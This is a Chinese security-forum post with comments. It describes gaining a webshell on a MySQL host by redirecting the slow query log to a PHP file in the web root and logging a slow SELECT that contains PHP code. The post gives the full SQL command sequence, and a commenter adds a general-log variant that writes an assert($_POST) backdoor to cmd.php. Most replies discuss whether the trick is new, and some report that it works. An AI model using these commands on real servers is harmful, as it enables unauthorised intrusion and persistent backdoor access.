MySql慢查询日志GetShell
通过开启慢查询日志,配置可解析文件GETSHELL
主要针对日志量庞大,通过日志文件GETSHELL出现问题的情况
主要针对日志量庞大,通过日志文件GETSHELL出现问题的情况
show variables like '%slow%';
Variable_name Value
log_slow_queries OFF
slow_launch_time 2
slow_query_log OFF
slow_query_log_file C:\phpStudy\PHPTutorial\MySQL\data\WIN-374NAWYudt-slow.log
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
/*set GLOBAL log_queries_not_using_indexes=on;
show variables like '%log%';*/
select '<?php phpinfo();?>' from mysql.db where sleep(10);
评论32次
MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句,long_query_time的默认值为10,意思是运行10S以上的语句。该值可以指定为微秒的分辨率。具体指运行时间超过long_query_time值的SQL,则会被记录到慢查询日志中。对日志量庞大,通过日志文件GETSHELL确实是一种帮助. mark
告诉大家个好消息,北京申奥成功了
感谢分享,虽然我遇到的是Variable_name Value log_slow_queries OFF slow_launch_time 2
都不知道你们在喷什么?
set global general_log='on';SET global general_log_file='D:/phpStudy/WWW/cmd.php';SELECT '<?php assert($_POST);?>';跟以前那个代码不一样的啊好吧set GLOBAL slow_query_log=on;set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';/*set GLOBAL log_queries_not_using_indexes=on;show variables like '%log%';*/select '<?php phpinfo();?>' from mysql.db where sleep(10);
又多了一种利用套路
这么来看的话 应该所有mysql可以导出的语句都可以getshell
很久之前看过...
你们别再说和以前那个没有区别了,实际区直接影响了最终getshell的成果,有的网站SQL执行量大以往的方法经常导致页面500 但是这个方法的话只记录了超时10s的SQL,这样页面的代码量会减轻很多不易导致500
你以为换个马甲就不认识你了么?mysql日志文件getshell,这个很早就有了这个很早就有了
TOP1正解,slow log的方式,体积更小,响应更快
和普通的日志getshell相比,慢查询产生的日志比较少
不错……
emmm,也不知道大家在吵什么,虽然之前知道了日志getshell,但是这次反正我是第一次知道慢查询getshell
感谢分享,亲测好用,加上Sleep过滤了大量的日志
服了这群人,麻烦仔细看看人家楼主发表的文章在放屁好吗?...人家楼主说的是一个技巧 可以避免日志过大导致写SHELL失败的技巧
这个和设置日志记录写shell有什么区别吗
都不看清楚的吗,慢日志getshell,审题,审题,要是数据库业务大的网站,几秒钟查询日志就炸了,你的shell直接500错误,通过慢日志可以避免这个问题,是个实用小技巧,有些人题目都不看清就在那瞎几把乱喷
类似下面的应该也可以
日志getshell的手法挺多的,常常提及,不至忘却,也挺好。
mark 确实很多插入日志会500 这个可能有效
学xi了,和日志查询的还是有一点区别。
几百年前的姿势了,